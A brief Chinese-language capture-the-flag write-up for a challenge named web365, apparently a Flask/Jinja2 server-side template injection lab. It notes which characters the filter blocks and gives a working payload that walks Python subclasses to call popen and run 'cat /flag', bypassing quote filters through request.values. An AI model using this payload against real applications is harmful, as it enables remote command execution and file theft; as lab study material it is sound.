web365

注入前先进行简单的过滤测试，发现过滤了[],args，'',""

所以使用（）绕过单引号过滤，使用request.values绕过单双引号过滤调用popen函数查询flag
payload
?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.x1)(request.values.x2).read()}}&x1=popen&x2=cat /flag